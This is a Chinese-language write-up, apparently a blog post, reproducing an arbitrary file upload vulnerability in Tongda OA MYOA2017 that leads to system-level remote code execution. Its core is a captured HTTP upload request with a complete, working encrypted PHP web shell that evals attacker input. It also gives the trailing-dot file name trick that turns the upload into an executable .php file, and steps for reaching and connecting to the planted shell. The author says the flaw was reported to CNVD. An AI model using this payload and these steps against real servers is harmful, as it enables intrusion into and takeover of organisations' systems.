关于通达OA:
通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户。
通达官网链接:https://www.tongda2000.com/
影响版本:MYOA2017
漏洞:用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。主要是因为通达OA未对用户上传的文件进行校验,因为windows系统会对文件名最后的.忽略,最后导致了该上传漏洞。比如:1.php. 到了win上之后就会变成1.php
本地复现
下载MYOA2017.exe按照默认选项安装好之后目录如下:
2. 本地按照默认80端口访问该OA:
3. 使用本地的默认账号admin和空密码进入:(实例的时候参考使用通达OA前台任意用户登录漏洞https://mp.weixin.qq.com/s/mY07eR6OnbRueGcITgxb7A进入后台)
4. 选择:快捷菜单—>个人文件柜—>选择新建文件,开始新建文件
5. 选择本地上传图片:
6. 上传脚本shell.jpg开始上传Burpsuite抓包,抓包数据如下:
POST /module/upload/upload.php?encode=utf-8 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X_Requested_With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------26422785422981 Content-Length: 1373 DNT: 1 Connection: close Referer: http://localhost/module/ueditor/dialogs/image/image.html Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=591f5e0c; PHPSESSID=0bboeic38v9e7pvjqee3ns5gb5 -----------------------------26422785422981 Content-Disposition: form-data; name="id" WU_FILE_0 -----------------------------26422785422981 Content-Disposition: form-data; name="name" shell.jpg -----------------------------26422785422981 Content-Disposition: form-data; name="type" image/jpeg -----------------------------26422785422981 Content-Disposition: form-data; name="lastModifiedDate" 2020/8/5 ä¸å11:35:58 -----------------------------26422785422981 Content-Disposition: form-data; name="size" 650 -----------------------------26422785422981 Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?> -----------------------------26422785422981--
7. 将文件名修改为:shell.php.,因为在win下不允许文件名最后的后缀是.的形式,所以win下会自动将点进行消除。
8. 得到返回包数据,并将数据进行拼接,得到url链接地址:
http://localhost/upload_temp/2008/798316902.shell.php
9. 访问该地址:
10. 菜刀连接:
因为这个后来提交到了cnvd,所以当时找到很多的互联网案例:
提交CNVD之后: